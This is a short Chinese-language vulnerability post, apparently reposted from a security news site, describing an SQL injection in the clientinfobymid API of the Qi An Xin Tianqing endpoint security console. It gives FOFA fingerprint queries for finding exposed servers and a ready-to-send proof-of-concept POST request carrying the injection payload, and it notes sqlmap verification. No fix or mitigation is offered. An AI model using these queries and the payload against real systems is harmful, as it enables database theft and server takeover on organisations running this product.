產(chǎn)品簡介
奇安信天擎終端安全管理系統(tǒng)是面向政企單位推出的一體化終端安全產(chǎn)品解決方案。該產(chǎn)品集防病毒、終端安全管控、終端準入、終端審計、外設(shè)管控、EDR等功能于一體，兼容不同操作系統(tǒng)和計算平臺，幫助客戶實現(xiàn)平臺一體化、功能一體化、數(shù)據(jù)一體化的終端安全立體防護。
漏洞概述
奇安信天擎終端安全管理系統(tǒng)控制臺clientinfobymid接口處存在SQL注入漏洞，攻擊者除了可以利用 該SQL 注入漏洞獲取數(shù)據(jù)庫中的信息（例如，管理員后臺密碼、站點的用戶個人信息）之外，甚至在高權(quán)限的情況可向服務器中寫入木馬，進一步獲取服務器系統(tǒng)權(quán)限。
指紋識別
fofa:
banner="QiAnXin web server" || banner="360 web server" || body="appid\":\"skylar6" || body="/task/index/detail?id={item.id}" || body="已過期或者未授權(quán)，購買請聯(lián)系4008-136-360"
漏洞利用
poc:
POST /api/terminal/clientinfobymid HTTP/1.1
Host: you_ip
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
{"mids":{"1 ,:mid_1);select 'aaa' -- aa":"","1":1}}
sqlmap驗證
文章來源：http://www.zghlxwxcb.cn/news/detail-775538.html
【故事、故事,便是故去的事情了,多說無益?！?span toymoban-style="hidden">文章來源地址http://www.zghlxwxcb.cn/news/detail-775538.html
到了這里，關(guān)于天擎終端安全管理系統(tǒng)clientinfobymid存在SQL注入漏洞的文章就介紹完了。如果您還想了解更多內(nèi)容，請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章，希望大家以后多多支持TOY模板網(wǎng)！
